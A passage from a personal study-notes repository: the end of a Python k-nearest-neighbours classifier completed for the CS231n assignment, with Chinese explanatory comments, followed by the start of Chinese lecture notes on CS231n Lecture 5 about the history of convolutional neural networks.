__init__(self):\n\t\tpass\n\t\n def train(self, X, y):\n \"\"\"\n Train the classifier. For k-nearest neighbors this is just \n memorizing the training data.\n\n Inputs:\n - X: A numpy array of shape (num_train, D) containing the training data\n consisting of num_train samples each of dimension D.\n - y: A numpy array of shape (N,) containing the training labels, where\n y[i] is the label for X[i].\n \n ่ฎญ็ปƒๅˆ†็ฑปๅ™จใ€‚ๅฏนไบŽKNNๅˆ†็ฑปๅ™จๆฅ่ฏด๏ผŒ่ฎญ็ปƒๅฐฑๆ˜ฏๅฐ†่ฎญ็ปƒๆ•ฐๆฎไฟๅญ˜\n\n ่พ“ๅ…ฅ๏ผš\n -X: ่ฎญ็ปƒๆ•ฐๆฎ้›†๏ผŒไธ€ไธช(่ฎญ็ปƒๆ ทๆœฌๆ•ฐ้‡๏ผŒ็ปดๅบฆ)ๅคงๅฐ็š„numpyๆ•ฐ็ป„\n -y: ่ฎญ็ปƒๆ ทๆœฌๆ ‡็ญพ๏ผŒไธ€ไธช(่ฎญ็ปƒๆ ทๆœฌๆ•ฐ้‡๏ผŒ1)ๅคงๅฐ็š„numpyๆ•ฐ็ป„๏ผŒๅ…ถไธญy[i]่กจ็คบๆ ทๆœฌX[i]็š„็ฑปๅˆซๆ ‡็ญพ\n \"\"\"\n \tself.X_train = X\n \tself.y_train = y\n \n\tdef predict(self, X, k=1, num_loops=0):\n \"\"\"\n Predict labels for test data using this classifier.\n\n Inputs:\n - X: A numpy array of shape (num_test, D) containing test data consisting\n of num_test samples each of dimension D.\n - k: The number of nearest neighbors that vote for the predicted labels.\n - num_loops: Determines which implementation to use to compute distances\n between training points and testing points.\n\n Returns:\n - y: A numpy array of shape (num_test,) containing predicted labels for the\n test data, where y[i] is the predicted label for the test point X[i].\n\n ่ฏฅๆ–นๆณ•ๅฏน่พ“ๅ…ฅๆ•ฐๆฎ่ฟ›่กŒ็ฑปๅˆซ้ข„ๆต‹\n\n ่พ“ๅ…ฅ๏ผš\n - X: ๆต‹่ฏ•ๆ•ฐๆฎ้›†๏ผŒไธ€ไธช(ๆต‹่ฏ•ๆ ทๆœฌๆ•ฐ้‡๏ผŒ็ปดๅบฆ)ๅคงๅฐ็š„numpyๆ•ฐ็ป„\n - k: ๆœ€่ฟ‘้‚ปๆ•ฐ้‡\n - num_loops: ่ฎก็ฎ—ๆต‹่ฏ•ๆ ทๆœฌๅ’Œ่ฎญ็ปƒๆ ทๆœฌ่ท็ฆป็š„ๆ–นๆณ•\n\n ่ฟ”ๅ›ž๏ผš\n - y: ็ฑปๅˆซ้ข„ๆต‹็ป“ๆžœ๏ผŒไธ€ไธช(ๆต‹่ฏ•ๆ ทๆœฌๆ•ฐ้‡๏ผŒ1)ๅคงๅฐ็š„numpyๆ•ฐ็ป„๏ผŒๅ…ถไธญy[i]ๆ˜ฏๆ ทๆœฌX[i]็š„้ข„ๆต‹็ป“ๆžœ\n \"\"\"\n \tif num_loops == 0:\n \t\tdists = self.compute_distances_no_loops(X)\n\t elif num_loops == 1:\n \t\tdists = self.compute_distances_one_loop(X)\n\t elif num_loops == 2:\n dists = self.compute_distances_two_loops(X)\n\t else:\n\t\t\traise ValueError('Invalid value %d for num_loops' % num_loops)\n\n \treturn self.predict_labels(dists, k=k)\n\n\tdef compute_distances_two_loops(self, X):\n \"\"\"\n Compute the distance between each test point in X and each training point\n in self.X_train using a nested loop over both the training data and the \n test data.\n\n Inputs:\n - X: A numpy array of shape (num_test, D) containing test data.\n\n Returns:\n - dists: A numpy array of shape (num_test, num_train) where dists[i, j]\n is the Euclidean distance between the ith test point and the jth training\n point.\n\n ้€š่ฟ‡ไธ€ไธชไธคๅฑ‚็š„ๅตŒๅฅ—ๅพช็Žฏ๏ผŒ้ๅŽ†ๆต‹่ฏ•ๆ ทๆœฌ็‚น๏ผŒๅนถๆฑ‚ๅ…ถๅˆฐๅ…จ้ƒจ่ฎญ็ปƒๆ ทๆœฌ็‚น็š„่ท็ฆป\n\n ่พ“ๅ…ฅ:\n - X: ๆต‹่ฏ•ๆ•ฐๆฎ้›†๏ผŒไธ€ไธช(ๆต‹่ฏ•ๆ ทๆœฌๆ•ฐ้‡, ็ปดๅบฆ)ๅคงๅฐ็š„numpyๆ•ฐ็ป„\n\n ่ฟ”ๅ›ž:\n - dists: ไธ€ไธช(ๆต‹่ฏ•ๆ ทๆœฌๆ•ฐ้‡, ่ฎญ็ปƒๆ ทๆœฌๆ•ฐ้‡) ๅคงๅฐ็š„numpyๆ•ฐ็ป„๏ผŒๅ…ถไธญdists[i, j]\n ่กจ็คบๆต‹่ฏ•ๆ ทๆœฌiๅˆฐ่ฎญ็ปƒๆ ทๆœฌj็š„ๆฌงๅผ่ท็ฆป\n\n \"\"\"\n\t\tnum_test = X.shape[0]\n \tnum_train = self.X_train.shape[0]\n \tdists = np.zeros((num_test, num_train))\n \tfor i in range(num_test):\n \t\tfor j in range(num_train):\n \t\t#####################################################################\n\t\t # TODO: #\n\t\t # Compute the l2 distance between the ith test point and the jth #\n\t\t # training point, and store the result in dists[i, j]. You should #\n\t\t # not use a loop over dimension. #\n\t\t # ไปปๅŠก: #\n\t\t # ่ฎก็ฎ—็ฌฌiไธชๆต‹่ฏ•็‚นๅˆฐ็ฌฌjไธช่ฎญ็ปƒๆ ทๆœฌ็‚น็š„L2่ท็ฆป๏ผŒๅนถไฟๅญ˜ๅˆฐdists[i, j]ไธญ๏ผŒ #\n\t\t # ๆณจๆ„ไธ่ฆๅœจ็ปดๅบฆไธŠไฝฟ็”จforๅพช็Žฏ #\n\t\t #####################################################################\n\t \tdists[i, j] = np.sqrt(np.sum(np.square(self.X_train[j,:] - X[i,:])))\n # ่ฟ™้‡Œ็š„np.square()ๆ˜ฏๅฏนๅ…ถไธญๆฏไธชๅ…ƒ็ด ๅนณๆ–นๆ“ไฝœ\n\t\t #####################################################################\n\t\t # END OF YOUR CODE #\n\t\t # ไปปๅŠก็ป“ๆŸ #\n\t\t #####################################################################\n \treturn dists\n\n\tdef compute_distances_one_loop(self, X):\n \"\"\"\n Compute the distance between each test point in X and each training point\n in self.X_train using a single loop over the test data.\n\n Input / Output: Same as compute_distances_two_loops\n\n ้€š่ฟ‡ไธ€ไธชๅ•ๅฑ‚็š„ๅตŒๅฅ—ๅพช็Žฏ๏ผŒ้ๅŽ†ๆต‹่ฏ•ๆ ทๆœฌ็‚น๏ผŒๅนถๆฑ‚ๅ…ถๅˆฐๅ…จ้ƒจ่ฎญ็ปƒๆ ทๆœฌ็‚น็š„่ท็ฆป\n ่พ“ๅ…ฅ/่พ“ๅ‡บ๏ผšๅ’Œcompute_distances_two_loopsๆ–นๆณ•็›ธๅŒ\n \"\"\"\n \tnum_test = X.shape[0]\n \tnum_train = self.X_train.shape[0]\n \tdists = np.zeros((num_test, num_train))\n \tfor i in range(num_test):\n \t\t#######################################################################\n \t\t# TODO: #\n \t\t# Compute the l2 distance between the ith test point and all training #\n \t\t# points, and store the result in dists[i, :]. #\n \t\t# ไปปๅŠก: #\n \t\t# ่ฎก็ฎ—็ฌฌiไธชๆต‹่ฏ•ๆ ทๆœฌ็‚นๅˆฐๆ‰€ๆœ‰่ฎญ็ปƒๆ ทๆœฌ็‚น็š„L2่ท็ฆป๏ผŒๅนถไฟๅญ˜ๅˆฐdists[i, :]ไธญ #\n \t\t#######################################################################\n\t\t\tdists[i,:] = np.sqrt(np.sum(np.square(self.X_train - X[i,:]),axis = 1))\n \t\t#######################################################################\n \t\t# END OF YOUR CODE #\n \t\t# ไปปๅŠก็ป“ๆŸ #\n \t\t#######################################################################\n\treturn dists\n\n\tdef compute_distances_no_loops(self, X):\n \"\"\"\n Compute the distance between each test point in X and each training point\n in self.X_train using no explicit loops.\n\n Input / Output: Same as compute_distances_two_loops\n\n ไธ้€š่ฟ‡ๅพช็Žฏๆ–นๅผ๏ผŒ้ๅŽ†ๆต‹่ฏ•ๆ ทๆœฌ็‚น๏ผŒๅนถๆฑ‚ๅ…ถๅˆฐๅ…จ้ƒจ่ฎญ็ปƒๆ ทๆœฌ็‚น็š„่ท็ฆป\n ่พ“ๅ…ฅ/่พ“ๅ‡บ๏ผšๅ’Œcompute_distances_two_loopsๆ–นๆณ•็›ธๅŒ\n \"\"\"\n \tnum_test = X.shape[0]\n \tnum_train = self.X_train.shape[0]\n \tdists = np.zeros((num_test, num_train)) \n \t#########################################################################\n \t# TODO: #\n \t# Compute the l2 distance between all test points and all training #\n \t# points without using any explicit loops, and store the result in #\n \t# dists. #\n \t# #\n \t# You should implement this function using only basic array operations; #\n \t# in particular you should not use functions from scipy. #\n \t# #\n \t# HINT: Try to formulate the l2 distance using matrix multiplication #\n \t# and two broadcast sums. #\n \t# ไปปๅŠก: #\n \t# ่ฎก็ฎ—ๆต‹่ฏ•ๆ ทๆœฌ็‚นๅ’Œ่ฎญ็ปƒๆ ทๆœฌ็‚นไน‹้—ด็š„L2่ท็ฆป๏ผŒๅนถไธ”ไธไฝฟ็”จforๅพช็Žฏ๏ผŒๆœ€ๅŽๅฐ†็ป“ๆžœ #\n \t# ไฟๅญ˜ๅˆฐdistsไธญ #\n \t# #\n \t# ่ฏทไฝฟ็”จๅŸบๆœฌ็š„ๆ•ฐ็ป„ๆ“ไฝœๅฎŒๆˆ่ฏฅๆ–นๆณ•๏ผ›ๅฆๅค–๏ผŒไธ่ฆไฝฟ็”จscipyไธญ็š„ๆ–นๆณ• #\n \t# #\n \t# ๆ็คบ: ๅฏไปฅไฝฟ็”จ็Ÿฉ้˜ตไน˜ๆณ•ๅ’Œไธคๆฌกๅนฟๆ’ญๅŠ ๆณ• #\n \t#########################################################################\n\t\t# ่ฟ™้‡ŒๅฏนๅฎŒๅ…จๅนณๆ–นๅ…ฌๅผๅšไบ†ๅฑ•ๅผ€๏ผŒไปฅๆ–นไพฟๆˆ‘ไปฌๅฎž็Žฐ็Ÿข้‡ๅŒ–๏ผŒ(a-b)^2=a^2+b^2-2ab\n dists = np.sqrt(-2*np.dot(X, self.X_train.T) # ไธ€ไธช500*5000็š„็Ÿฉ้˜ต\n + np.sum(np.square(self.X_train), axis=1) # ไธ€ไธช1*5000็š„็Ÿฉ้˜ต\n + np.transpose([np.sum(np.square(X), axis=1)]))\t# ไธ€ไธช500*1็š„็Ÿฉ้˜ต\n # ็•™ๆ„self.X_train็š„shapeๆ˜ฏ(5000,3072),X็š„shapeๆ˜ฏ(500,3072)\n # np.dot()ๆ˜ฏ็Ÿฉ้˜ตไน˜ๆณ•, np.sqrt()ๅ’Œnp.square()้ƒฝๆ˜ฏๅฏน็Ÿฉ้˜ตๆฏไธชๅ…ƒ็ด ็š„ๆ“ไฝœ\n # np.sum(array_like, axis=1)ๆ˜ฏๅฏน็Ÿฉ้˜ตๆฏ่กŒๅˆ†ๅˆซๆฑ‚ๅ’Œ๏ผŒๅณๆฏไธชๅ›พ็‰‡ๅƒ็ด ๆฑ‚ๅ’Œ\n # ๆณจๆ„๏ผšๅŽไธคไธช็Ÿฉ้˜ต็š„ๅŠ ๆณ•ๅฏไปฅๅผ ๆˆไธ€ไธช500*5000็š„็Ÿฉ้˜ต๏ผ\n \t#########################################################################\n \t# END OF YOUR CODE #\n \t# ไปปๅŠก็ป“ๆŸ #\n \t#########################################################################\n\treturn dists\n\n\tdef predict_labels(self, dists, k=1):\n \"\"\"\n Given a matrix of distances between test points and training points,\n predict a label for each test point.\n\n Inputs:\n - dists: A numpy array of shape (num_test, num_train) where dists[i, j]\n gives the distance betwen the ith test point and the jth training point.\n\n Returns:\n - y: A numpy array of shape (num_test,) containing predicted labels for the\n test data, where y[i] is the predicted label for the test point X[i].\n\n ้€š่ฟ‡่ท็ฆป็Ÿฉ้˜ต๏ผŒ้ข„ๆต‹ๆฏไธ€ไธชๆต‹่ฏ•ๆ ทๆœฌ็š„็ฑปๅˆซ\n \n ่พ“ๅ…ฅ๏ผš\n - dists: ไธ€ไธช(ๆต‹่ฏ•ๆ ทๆœฌๆ•ฐ้‡๏ผŒ่ฎญ็ปƒๆ ทๆœฌๆ•ฐ้‡)ๅคงๅฐ็š„numpyๆ•ฐ็ป„๏ผŒๅ…ถไธญdists[i, j]่กจ็คบ\n ็ฌฌiไธชๆต‹่ฏ•ๆ ทๆœฌๅˆฐ็ฌฌjไธช่ฎญ็ปƒๆ ทๆœฌ็š„่ท็ฆป\n\n ่ฟ”ๅ›ž๏ผš\n - y: ไธ€ไธช(ๆต‹่ฏ•ๆ ทๆœฌๆ•ฐ้‡๏ผŒ)ๅคงๅฐ็š„numpyๆ•ฐ็ป„๏ผŒๅ…ถไธญy[i]่กจ็คบๆต‹่ฏ•ๆ ทๆœฌX[i]็š„้ข„ๆต‹็ป“ๆžœ\n \"\"\"\n\t\tnum_test = dists.shape[0]\n \ty_pred = np.zeros(num_test)\n \tfor i in range(num_test):\n \t\t# A list of length k storing the labels of the k nearest neighbors to\n \t\t# the ith test point.\n \t\t# ไธ€ไธช้•ฟๅบฆไธบk็š„listๆ•ฐ็ป„๏ผŒๅ…ถไธญไฟๅญ˜็€็ฌฌiไธชๆต‹่ฏ•ๆ ทๆœฌ็š„kไธชๆœ€่ฟ‘้‚ป็š„็ฑปๅˆซๆ ‡็ญพ\n \t\tclosest_y = []\n \t\t#########################################################################\n \t\t# TODO: #\n \t\t# Use the distance matrix to find the k nearest neighbors of the ith #\n \t\t# testing point, and use self.y_train to find the labels of these #\n \t\t# neighbors. Store these labels in closest_y. #\n \t\t# Hint: Look up the function numpy.argsort. #\n \t\t# ไปปๅŠก: #\n \t\t# ้€š่ฟ‡่ท็ฆป็Ÿฉ้˜ตๆ‰พๅˆฐ็ฌฌiไธชๆต‹่ฏ•ๆ ทๆœฌ็š„kไธชๆœ€่ฟ‘้‚ป,็„ถๅŽๅœจself.y_trainไธญๆ‰พๅˆฐ่ฟ™ไบ› #\n \t\t# ๆœ€่ฟ‘้‚ปๅฏนๅบ”็š„็ฑปๅˆซๆ ‡็ญพ๏ผŒๅนถๅฐ†่ฟ™ไบ›็ฑปๅˆซๆ ‡็ญพไฟๅญ˜ๅˆฐclosest_yไธญใ€‚ #\n \t\t# ๆ็คบ: ๅฏไปฅๅฐ่ฏ•ไฝฟ็”จnumpy.argsortๆ–นๆณ• #\n \t\t#########################################################################\n \t\t# ๅœจdists่ท็ฆป็Ÿฉ้˜ตไธญ๏ผŒ็ฌฌiไธชๆต‹่ฏ•ๅ›พ็‰‡(็ฌฌi่กŒ)ไธ‹็š„ๅˆ—(่ฎญ็ปƒๅ›พ็‰‡)๏ผŒๆŒ‰ๅ€ผไปŽๅฐๅˆฐๅคงๆŽ’ๅˆ—๏ผŒ\n # ๅ–ๅ‡บๅ‰kไธช็š„็ดขๅผ•(ๅŽŸๅˆ—ๆ•ฐ๏ผŒไบฆ่ฎญ็ปƒ้›†็š„็ดขๅผ•)๏ผŒๆœ€ๅŽๆ นๆฎ่ฏฅ็ดขๅผ•ๅœจๆต‹่ฏ•้›†ไธญๅˆ‡็‰‡ๅ‡บ็›ธๅบ”็š„ๆ ‡็ญพๅ€ผ\n closest_y = self.y_train[np.argsort(dists[i])[:k]]\n # np.argsort()ๅ‡ฝๆ•ฐ่ฟ”ๅ›ž็š„ๆ˜ฏๆ•ฐ็ป„ๅ€ผไปŽๅฐๅˆฐๅคง็š„็ดขๅผ•ๅ€ผ\n \t\t#########################################################################\n \t\t# TODO: #\n \t\t# Now that you have found the labels of the k nearest neighbors, you #\n \t\t# need to find the most common label in the list closest_y of labels. #\n \t\t# Store this label in y_pred[i]. Break ties by choosing the smaller #\n \t\t# label. #\n \t\t# ไปปๅŠก: #\n \t\t# ็Žฐๅœจไฝ ๅทฒ็ปๆ‰พๅˆฐไบ†kไธชๆœ€่ฟ‘้‚ปๅฏนๅบ”็š„ๆ ‡็ญพ, ไธ‹้ขๅฐฑ้œ€่ฆๆ‰พๅˆฐๅ…ถไธญๆœ€ๆ™ฎ้็š„้‚ฃไธช #\n \t\t# ็ฑปๅˆซๆ ‡็ญพ๏ผŒ็„ถๅŽไฟๅญ˜ๅˆฐy_pred[i]ไธญใ€‚ๅฆ‚ๆžœๆœ‰็ฅจๆ•ฐ็›ธๅŒ็š„็ฑปๅˆซ๏ผŒๅˆ™้€‰ๆ‹ฉ็ผ–ๅทๅฐ #\n \t\t# ็š„็ฑปๅˆซ #\n \t\t#########################################################################\n \t\ty_pred[i] = np.argmax(np.bincount(closest_y))\n # np.bincount()ๆ˜ฏๅ‡กๆ˜ฏไธŽ็ดขๅผ•ๅ€ผ็›ธๅŒ็š„ๅ€ผ๏ผŒ่ฎกๆ•ฐ+1๏ผŒ่ฎกๆ•ฐ็ป“ๆžœ่ฟ”ๅ›žไธบๆ–ฐ็š„็ดขๅผ•ๅ€ผ้‡Œ็š„่ฎกๆ•ฐๅ€ผ\n # np.argmax() ่ฟ”ๅ›ž็š„ๆ˜ฏๆ•ฐๅ€ผๆœ€ๅคง็š„็ดขๅผ•ๅ€ผ๏ผŒๅœจ่ฟ™ไธชไพ‹ๅญไธญๅณๆ˜ฏๆ ‡็ญพ\n \t\t#########################################################################\n \t\t# END OF YOUR CODE # \n \t\t#########################################################################\n\n\treturn y_pred\n```\n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CS231n_image_classification_note.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6947170495986938, "alphanum_fraction": 0.7371058464050293, "avg_line_length": 31.585033416748047, "blob_id": "b6c51298aebca596cc0bf75eecd41ebd4a53622f", "content_id": "d7c3c1e626a964f9b4b76e5f225ffeee3bd00348", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7358, "license_type": "no_license", "max_line_length": 394, "num_lines": 147, "path": "/blog/cs231n/cs231n_5.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.5\ndate: 2018-08-24\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=9)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 5. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - [ConvNet notes](http://cs231n.github.io/convolutional-networks/) ๏ผˆ[ไธญ่ฏ‘็‰ˆ](./CS231n_ConvNet_notes.html)๏ผ‰\n>\n\n\n\n# Lecture 5. Convolutional Neural Networks\n\n\n\n## A bit of history...\n\n่ฟ™้œ€่ฆ่ฟฝๆบฏๅˆฐ 1957ๅนดใ€‚ใ€‚ใ€‚ Frank RosenBlatt ๅ‘ๆ˜Žไบ†็ฌฌไธ€ไปฃๆ„Ÿ็Ÿฅๆœบๅ™จ๏ผŒ้ฆ–ๆฌกๅฎž็Žฐไบ†ๆ‰€่ฐ“็š„ๆ„Ÿ็Ÿฅๅ™จ็ฎ—ๆณ•ใ€‚ๅฎƒๅœจๆ€ๆƒณไธŠ่ทŸๅพ—ๅˆฐ่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ็š„่ฟ‡็จ‹็ฑปไผผใ€‚ไนŸๆœ‰ๆ‰€่ฐ“็š„ๅ‚ๆ•ฐๆ›ดๆ–ฐ่ง„ๅˆ™๏ผŒ็œ‹ไผผๅ’Œๅๅ‘ไผ ๆ’ญ็ฎ—ๆณ•ๅพˆๅƒ๏ผŒไฝ†ๆญคๆ—ถ BP ่ฟ˜ๆฒกๆœ‰่ขซๅ‘ๆ˜Žๅ‡บๆฅใ€‚ใ€‚ใ€‚\n\nๅœจ 1960 ๅนด๏ผŒWidrow ๅ’Œ Hoff ๅ‘ๆ˜Žไบ† Adaline ๅ’Œ Madalineใ€‚่ฟ™ๆ˜ฏ้ฆ–ๆฌกๅฐ่ฏ•ๆŠŠ็บฟๆ€งๅฑ‚ๅ ๅŠ ๆ•ดๅˆไธบๅคšๅฑ‚ๆ„Ÿ็Ÿฅๅ™จ็ฝ‘็ปœใ€‚็ŽฐๅœจๅฅฝๅƒไธŽ็ฅž็ป็ฝ‘็ปœ็š„ๅฑ‚็š„่ฎพ่ฎกๆฏ”่พƒๆŽฅ่ฟ‘๏ผŒไฝ†ๅๅ‘ไผ ๆ’ญๆˆ–่€…ๅ…ถไป–็š„่ฎญ็ปƒๆ–นๆณ•ไปๆœชๅ‡บ็Žฐใ€‚\n\nๅˆฐ 1986 ๅนด๏ผŒRumelhart ๆ‰้ฆ–ๆฌกๆๅ‡บไบ†ๅๅ‘ไผ ๆ’ญ็ฎ—ๆณ•ใ€‚ไปŽ่ฟ™้‡Œๅผ€ๅง‹ๆˆ‘ไปฌๆœ‰ไบ†ๆœ€ๆ ธๅฟƒ็š„่ฎญ็ปƒๆ–นๆณ•ใ€‚\n\nไธ่ฟ‡ๅ†ๅพˆ้•ฟไธ€ๆฎตๆ—ถ้—ดๅ†…๏ผŒๆˆ‘ไปฌไป็„ถๆ— ๆณ•่ฎญ็ปƒ่ถ…ๅคงๅž‹็ฅž็ป็ฝ‘็ปœใ€‚ๆ‰€่ฐ“็š„็ฅž็ป็ฝ‘็ปœ้ข†ๅŸŸๆ›พ็ปๅธธๅนดๆ— ไบบ้—ฎๆดฅ๏ผŒๅนถไธ็”จ่ฏดๅคง่ง„ๆจกๅบ”็”จไบ†ใ€‚ไฝ†ๅœจ 2000 ๅนดๅทฆๅณ๏ผŒไบ‹ๆƒ…ๅผ€ๅง‹ๆœ‰ไบ†ๅ˜ๅŒ–ใ€‚\n\nๅœจ 2006 ๅนด๏ผŒGeoff. Hinton ไธŽ Ruslan Salakhutdinov ๅˆไฝœ็š„ไธ€็ฏ‡่ฎบๆ–‡๏ผŒ่กจๆ˜Žๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœไธไป…ๅฏไปฅ่ฎญ็ปƒๅนถไธ”ๅฏไปฅ้ซ˜ๆ•ˆ่ฎญ็ปƒใ€‚่ฟ™ไป็„ถไธๆ˜ฏ็ฅž็ป็ฝ‘็ปœ็Žฐๅœจ็š„ๆ ทๅญใ€‚ๆญคๆ—ถ็š„็ฝ‘็ปœ้œ€่ฆ่ฐจๆ…Ž็š„ๅˆๅง‹ๅŒ–ๆ‰่ƒฝ่ฟ่กŒๅๅ‘ไผ ๆ’ญใ€‚ไป–ไปฌ็š„ๆ–นๆณ•ๅฐฑๆ˜ฏๅ…ˆ็ป่ฟ‡ไธ€ไธช้ข„่ฎญ็ปƒ้˜ถๆฎต๏ผŒๅฏนๆฏไธ€ไธช้šๅฑ‚ไฝฟ็”จๅ—้™็Žปๅฐ”ๅ…นๆ›ผๆœบ๏ผˆrestricted Boltzmann machine๏ผ‰ๆฅๅปบๆจกใ€‚่ฟ™ๆ ท้€š่ฟ‡่ฟญไปฃ่ฎญ็ปƒๆฏไธ€ๅฑ‚ๅฏไปฅๅพ—ๅˆฐไธ€ไบ›ๅˆๅง‹ๅŒ–ๆƒ้‡๏ผŒๅพ—ๅˆฐๆ‰€ๆœ‰็š„้šๅฑ‚ไน‹ๅŽ๏ผŒไปฅๆญคๆฅๅˆๅง‹ๅŒ–ไธ€ไธชๅฎŒๆ•ด็š„็ฅž็ป็ฝ‘็ปœใ€‚็„ถๅŽๅๅ‘ไผ ๆ’ญ๏ผŒๅพฎ่ฐƒๅ‚ๆ•ฐใ€‚\n\nๅฎž้™…ไธŠ๏ผŒ็›ดๅˆฐ 2012 ๅนดใ€‚็ฅž็ป็ฝ‘็ปœๆ‰็ฌฌไธ€ๆฌกๅ–ๅพ—ไบ†ๆƒŠไบบ็š„ๆˆๆžœใ€‚ๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœ็š„็‹‚ๆฝฎ็”ฑๆญค็ˆ†ๅ‘ใ€‚็ฌฌไธ€ไธช่ขซๆ”ป็ ด็š„้ข†ๅŸŸๆ˜ฏ่ฏญ้Ÿณ่ฏ†ๅˆซ๏ผŒGeoff. Hinton ็ป„ๅˆฉ็”จๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœ่ฟ›่กŒๅฃฐๅญฆๅปบๆจกๅ’Œ่ฏญ้Ÿณ่ฏ†ๅˆซใ€‚็„ถๅŽๆ˜ฏๅ›พๅƒ่ฏ†ๅˆซ๏ผŒๅœจ 2012 ๅนด๏ผŒGeoff. Hinton ๅŒไธ€ไธชๅฎž้ชŒๅฎค็š„ Alex Krizhevsky ๅ‘่กจไบ†้‡Œ็จ‹็ข‘ๅผ็š„[่ฎบๆ–‡](../paper_summary/ImageNet Classification with Deep Convolutional Neural Networks.html)๏ผŒ้ฆ–ๆฌก่ฎฉๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๆก†ๆžถๅœจ ImageNet ๅˆ†็ฑปๅคง่ต›ไธญๅ–ๅพ—ไบ†ๆƒŠไบบ็š„ๆˆ็ปฉใ€‚CNN ๆ ‘็ซ‹ไบ† ImageNet ๅ›พๅƒๅˆ†็ฑปไปปๅŠก็š„ๆ ‡ๆ†๏ผŒๅนถไธ”ๅคงๅน…้™ไฝŽไบ†่ฏฏๅทฎใ€‚ๆญคๅŽ๏ผŒๅท็งฏ็ฅž็ป็ฝ‘็ปœๅผ€ๅง‹ๅพ—ๅˆฐๅนฟๆณ›็š„ๅบ”็”จใ€‚\n\n\n\nๆŽฅไธ‹ๆฅ๏ผŒๆ‰ฏ็š„ๆ˜ฏ่ง†่ง‰ไปปๅŠก็š„ๅŽ†ๅฒใ€‚ใ€‚ใ€‚ๅ’Œ Lecture.1 ๅŸบๆœฌๅทฎไธๅคšใ€‚\n\n่ฟœ็š„ไธ่ฏด๏ผŒ็›ดๆŽฅไปŽ 1998 ๅนด่ฏด่ตทใ€‚Yann LeCun ้ฆ–ๆฌก็ฎ€ๅ•ๅฑ•็คบไบ†็ฌฌไธ€ไธชๅฎžไพ‹๏ผšๅบ”็”จๅๅ‘ไผ ๆ’ญๅ’ŒๅŸบไบŽๆขฏๅบฆ็š„ๅญฆไน ๆ–นๆณ•๏ผŒๆฅ่ฎญ็ปƒๅท็งฏ็ฅž็ป็ฝ‘็ปœใ€‚่ฟ™ๅฏนๆ–‡ๆกฃ่ฏ†ๅˆซ้žๅธธๆœ‰ๆ•ˆ๏ผŒๅฐคๅ…ถๅฏน้‚ฎๆ”ฟ็ผ–็ ่ฏ†ๅˆซๆ•ˆๆžœๆžๅฅฝใ€‚ๅ› ๆญค่ฟ™ไบ›ๆ–นๆณ•ๅœจ้‚ฎๆ”ฟๆœๅŠกไธญ่ขซๅนฟๆณ›็”จไบŽ้‚ฎๆ”ฟ็ผ–็ ่ฏ†ๅˆซใ€‚็„ถ่€Œๅฎƒๅนถไธ่ƒฝๆ‰ฉๅฑ•ๅˆฐๆ›ดๅ…ทๆœ‰ๆŒ‘ๆˆ˜ใ€ๆ›ดๅคๆ‚็š„ๆ•ฐๆฎใ€‚ๆ•ฐๅญ—้žๅธธๅฎนๆ˜“่ฏ†ๅˆซ๏ผŒไฝ†่ฏ†ๅˆซไนŸๆ˜ฏๆœ‰ๅฑ€้™ๆ€ง็š„ใ€‚\n\nไบŽๆ˜ฏๅœจ 2012 ๅนด๏ผŒAlex Krizhevsky ๆๅ‡บไบ†ไธ€็ง็ŽฐไปฃๅŒ–็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœใ€‚ไป–ๆๅ‡บ็š„็ฝ‘็ปœ๏ผŒๆˆ‘ไปฌไธ€่ˆฌ็งฐไธบ [AlexNet](../paper_summary/ImageNet Classification with Deep Convolutional Neural Networks.html)ใ€‚ไฝ†ไป–็š„็ฝ‘็ปœๅ’Œ Yann LeCun ๆๅ‡บ็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็›ธๆฏ”๏ผŒ็œ‹ไธŠๅŽปๅนถๆฒกๆœ‰ๅคšๅคงๅทฎๅผ‚ใ€‚ๅฎƒไปฌๅชๆ˜ฏๆ‰ฉๅฑ•็š„ๆ›ดๅคงๆ›ดๆทฑใ€‚ๆ›ด้‡่ฆ็š„ไธ€้ƒจๅˆ†ๆ˜ฏๅฎƒไปฌๅฏไปฅๅ……ๅˆ†ๅˆฉ็”จๅคง้‡ๆ•ฐๆฎๅฏๅพ—ๅˆฐ็š„ๅ›พๅƒ๏ผˆImageNet ๆ•ฐๆฎ้›†๏ผ‰ใ€‚ๅŒๆ—ถไนŸๅ……ๅˆ†ๅ‘ๆŒฅไบ† GPU ๅนถ่กŒ่ฎก็ฎ—่ƒฝๅŠ›็š„ไผ˜ๅŠฟใ€‚\n\n็Žฐๅœจ๏ผŒConvNets 